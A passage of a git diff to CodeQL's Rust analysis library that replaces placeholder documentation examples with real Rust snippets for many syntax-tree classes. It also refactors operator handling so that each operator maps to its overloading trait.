"positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends Generated::MatchGuard { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll index 1e6b30b6249b..bbac494ed3c9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.Meta */ module Impl { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends Generated::Meta { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index fb7bcfbdaa4e..1141ade4bd67 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -14,8 +14,6 @@ private import codeql.rust.internal.TypeInference * be referenced directly. */ module Impl { - private predicate isImplFunction(Function f) { f = any(ImplItemNode impl).getAnAssocItem() } - // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A method call expression. For example: @@ -25,22 +23,7 @@ module Impl { * ``` */ class MethodCallExpr extends Generated::MethodCallExpr { - override Function getStaticTarget() { - result = resolveMethodCallExpr(this) and - ( - // prioritize `impl` methods first - isImplFunction(result) - or - not isImplFunction(resolveMethodCallExpr(this)) and - ( - // then trait methods with default implementations - result.hasBody() - or - // and finally trait methods without default implementations - not resolveMethodCallExpr(this).hasBody() - ) - ) - } + override Function getStaticTarget() { result = resolveMethodCallTarget(this) } private string toStringPart(int index) { index = 0 and diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll index 95e2fba90123..9290a1b06de0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Name module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends Generated::Name { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll index 373790de6e4c..d42c416ed172 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NameRef module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends Generated::NameRef { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll index aff4282dadbc..d8b2270bdc9b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NeverTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends Generated::NeverTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll index deffd72086d6..c1ba794e8e43 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll @@ -7,6 +7,78 @@ private import rust private import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl +/** + * Holds if the operator `op` is overloaded to a trait with the canonical path + * `path` and the method name `method`. + */ +private predicate isOverloaded(string op, string path, string method) { + // Negation + op = "-" and path = "core::ops::arith::Neg" and method = "neg" + or + // Not + op = "!" and path = "core::ops::bit::Not" and method = "not" + or + // Dereference + op = "*" and path = "core::ops::Deref" and method = "deref" + or + // Comparison operators + op = "==" and path = "core::cmp::PartialEq" and method = "eq" + or + op = "!=" and path = "core::cmp::PartialEq" and method = "ne" + or + op = "<" and path = "core::cmp::PartialOrd" and method = "lt" + or + op = "<=" and path = "core::cmp::PartialOrd" and method = "le" + or + op = ">" and path = "core::cmp::PartialOrd" and method = "gt" + or + op = ">=" and path = "core::cmp::PartialOrd" and method = "ge" + or + // Arithmetic operators + op = "+" and path = "core::ops::arith::Add" and method = "add" + or + op = "-" and path = "core::ops::arith::Sub" and method = "sub" + or + op = "*" and path = "core::ops::arith::Mul" and method = "mul" + or + op = "/" and path = "core::ops::arith::Div" and method = "div" + or + op = "%" and path = "core::ops::arith::Rem" and method = "rem" + or + // Arithmetic assignment expressions + op = "+=" and path = "core::ops::arith::AddAssign" and method = "add_assign" + or + op = "-=" and path = "core::ops::arith::SubAssign" and method = "sub_assign" + or + op = "*=" and path = "core::ops::arith::MulAssign" and method = "mul_assign" + or + op = "/=" and path = "core::ops::arith::DivAssign" and method = "div_assign" + or + op = "%=" and path = "core::ops::arith::RemAssign" and method = "rem_assign" + or + // Bitwise operators + op = "&" and path = "core::ops::bit::BitAnd" and method = "bitand" + or + op = "|" and path = "core::ops::bit::BitOr" and method = "bitor" + or + op = "^" and path = "core::ops::bit::BitXor" and method = "bitxor" + or + op = "<<" and path = "core::ops::bit::Shl" and method = "shl" + or + op = ">>" and path = "core::ops::bit::Shr" and method = "shr" + or + // Bitwise assignment operators + op = "&=" and path = "core::ops::bit::BitAndAssign" and method = "bitand_assign" + or + op = "|=" and path = "core::ops::bit::BitOrAssign" and method = "bitor_assign" + or + op = "^=" and path = "core::ops::bit::BitXorAssign" and method = "bitxor_assign" + or + op = "<<=" and path = "core::ops::bit::ShlAssign" and method = "shl_assign" + or + op = ">>=" and path = "core::ops::bit::ShrAssign" and method = "shr_assign" +} + /** * INTERNAL: This module contains the customizable definition of `Operation` and should not * be referenced directly. @@ -16,14 +88,28 @@ module Impl { * An operation, for example `&&`, `+=`, `!` or `*`. */ abstract class Operation extends ExprImpl::Expr { + /** Gets the operator name of this operation, if it exists. */ + abstract string getOperatorName(); + + /** Gets the `n`th operand of this operation, if any. */ + abstract Expr getOperand(int n); + /** - * Gets the operator name of this operation, if it exists. + * Gets the number of operands of this operation. + * + * This is either 1 for prefix operations, or 2 for binary operations. */ - abstract string getOperatorName(); + final int getNumberOfOperands() { result = strictcount(this.getAnOperand()) } + + /** Gets an operand of this operation. */ + Expr getAnOperand() { result = this.getOperand(_) } /** - * Gets an operand of this operation. + * Holds if this operation is overloaded to the method `methodName` of the + * trait `trait`. */ - abstract Expr getAnOperand(); + predicate isOverloaded(Trait trait, string methodName) { + isOverloaded(this.getOperatorName(), trait.getCanonicalPath(), methodName) + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll index 297b7f26fad5..c0b914c1e3ca 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParamList module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends Generated::ParamList { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll index 42490c5c1cf3..e8c800bc9b8c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.ParenExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` */ class ParenExpr extends Generated::ParenExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll index a4c6873f214d..f6fa342e8f93 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends Generated::ParenPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll index 98a4ae9b31cd..c96bae09eeb3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends Generated::ParenTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll index ce1cc7e1b3da..b6b41caea7a5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll @@ -12,5 +12,19 @@ private import codeql.rust.elements.internal.generated.ParenthesizedArgList * be referenced directly. */ module Impl { + /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ class ParenthesizedArgList extends Generated::ParenthesizedArgList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll index 84cb37fcf610..42c32802bc2c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll @@ -14,6 +14,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends Generated::PathSegment { override string toStringImpl() { result = this.toAbbreviatedString() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll index cadb690afe86..c607e73dd7be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.PathTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; diff --git a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll index 75e2969fabc5..0ca14070756a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll @@ -26,6 +26,6 @@ module Impl { override string getOperatorName() { result = Generated::PrefixExpr.super.getOperatorName() } - override Expr getAnOperand() { result = this.getExpr() } + override Expr getOperand(int n) { n = 0 and result = this.getExpr() } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll index c204a22a4ee9..3e8c80ba0ea4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.PtrTypeRepr */ module Impl { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends Generated::PtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll index 83f32d892fbb..e864d348e013 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll @@ -5,6 +5,7 @@ */ private import codeql.rust.elements.internal.generated.RefExpr +private import codeql.rust.elements.internal.OperationImpl::Impl as OperationImpl /** * INTERNAL: This module contains the customizable definition of `RefExpr` and should not @@ -21,11 +22,15 @@ module Impl { * let raw_mut: &mut i32 = &raw mut foo; * ``` */ - class RefExpr extends Generated::RefExpr { + class RefExpr extends Generated::RefExpr, OperationImpl::Operation { override string toStringImpl() { result = "&" + concat(int i | | this.getSpecPart(i), " " order by i) } + override string getOperatorName() { result = "&" } + + override Expr getOperand(int n) { n = 0 and result = this.getExpr() } + private string getSpecPart(int index) { index = 0 and this.isRaw() and result = "raw" or diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll index 2770b12e9e53..334d223a42cf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.RefTypeRepr */ module Impl { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends Generated::RefTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll index 99aead7ffaad..1788cf98c254 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Rename */ module Impl { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends Generated::Rename { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll index e0fd26aae805..376ea98f22c0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RestPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends Generated::RestPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll index 4271ec0f7799..e7f9c48869d3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RetTypeRepr */ module Impl { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends Generated::RetTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll index 3ecfd51816c6..ffb09d726ab9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll @@ -13,9 +13,22 @@ private import codeql.rust.elements.internal.generated.ReturnTypeSyntax */ module Impl { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends Generated::ReturnTypeSyntax { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll index 4acc2f6aa0a0..3c17ad922a6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SliceTypeRepr */ module Impl { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends Generated::SliceTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll index 38acafaacf4d..7be1e405ddfe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SourceFile */ module Impl { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends Generated::SourceFile { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll index 69cad71522bf..53042411bca4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Static */ module Impl { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends Generated::Static { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll index 8bb9fb3ea0e7..85940ef7d21c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.StmtList */ module Impl { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends Generated::StmtList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll index c86a488d215d..b4197e55885d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructExprFieldList */ module Impl { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends Generated::StructExprFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll index 9b590f0d2183..4ed4466c2d90 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends Generated::StructField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll index 8626d38e0580..a6a16d430c21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructFieldList */ module Impl { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends Generated::StructFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 9f8888d3b6e3..3b6fc1ee4ea6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -16,7 +16,10 @@ module Impl { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends Generated::Struct { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll index 629406bd118d..a2a078a5bf33 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructPatFieldList */ module Impl { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends Generated::StructPatFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll index 111613deac3f..15e9c15abe12 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.TokenTree */ module Impl { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends Generated::TokenTree { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll index 560714839286..c11516896b47 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.TraitAlias */ module Impl { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends Generated::TraitAlias { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll index be694161dc70..0eaa4462ea70 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TryExpr */ module Impl { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends Generated::TryExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll index d777d5b217b2..05d799b60475 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends Generated::TupleField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll index 1065853b735a..3b5964693f3e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleFieldList */ module Impl { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends Generated::TupleFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll index c0ac7550920a..47b18d2aca95 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleTypeRepr */ module Impl { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends Generated::TupleTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll index f48c2c50dbe5..616bc8e5af5c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeArg */ module Impl { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends Generated::TypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll index fea226dd7425..c4b70217db2a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBound */ module Impl { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends Generated::TypeBound { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll index bbd38ee7371c..1b6fd0e64fed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBoundList */ module Impl { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends Generated::TypeBoundList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll index 